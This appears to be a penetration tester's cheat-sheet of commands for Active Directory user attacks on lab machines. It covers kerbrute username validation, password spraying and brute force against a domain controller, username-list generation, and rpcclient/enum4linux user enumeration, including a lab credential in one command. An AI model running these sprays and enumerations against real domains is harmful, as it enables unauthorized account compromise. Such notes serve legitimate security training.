Validation
Kerbrute
You could use usernames list from seclists too.
kerbrute userenum true_users -d nagoya-industries.com --dc 192.168.158.21
Bruteforce
passwordspray -Test a single password against a list of users.
$ kerbrute passwordspray -d nagoya-industries.com --dc 192.168.158.21 true_users 'Service1'
bruteforce Bruteforce username:password combos, from a file or stdin.
The file should have username:password format.
$ kerbrute bruteforce -d nagoya-industries.com --dc 192.168.158.21 true_users
Generation
Username-Anarchy
$ username-anarchy --list-formats
Plugin name Example
--------------------------------------------------------------------------------
first anna
firstlast annakey
first.last anna.key
firstlast[8] annakey
first[4]last[4] annakey
firstl annak
f.last a.key
flast akey
lfirst kanna
l.first k.anna
lastf keya
last key
last.f key.a
last.first key.anna
FLast AKey
first1 anna0,anna1,anna2
fl ak
fmlast abkey
firstmiddlelast annaboomkey
fml abk
FL AK
FirstLast AnnaKey
First.Last Anna.Key
Last Key
have the usernames in space separated format like firstname lastname in users file.
$ username-anarchy -i users -f first.last,flast,
usernamer.py
https://github.com/jseidl/usernamer/blob/master/usernamer.py
usernamer.py -f users ---
option --- not recognized
usage: /home/kali/.local/bin/usernamer.py [ -f <file> ] [ -n <full name> ] [ -l ]
flags:
-n supplies a single name
-f supplies name entries from text file
-l converts result to lowercase
-p manually specify plugins (comma-separated) [default: all]
['normal', 'two_terms', 'one_term', 'normal_abbreviated', 'dotted_two_terms', 'starts_with', 'under_score']
Enumeration
rpcclient
# Get Usernames list from domain
$ rpcclient -U '%' 10.10.10.161 -c "enumdomusers" | awk '{print $1}' | cut -d ':' -f 2 | sed 's/\[\(.*\)\]/\1/'
# same as above, but with credentials
$ rpcclient -U 'sequel.htb/rose%KxEPkKe6R8su' 10.10.11.51 -c "enumdomusers"
enum4linux
# get users list from autorecons output
$ cat results/forest.htb/scans/enum4linux-ng.txt | grep username: | awk '{print $2}'
# get users list from enum4linux
$ enum4linux -U 10.10.10.161 | grep 'user:' | awk '{print $1}' | cut -d ':' -f 2 | sed 's/\[\(.*\)\]/\1/'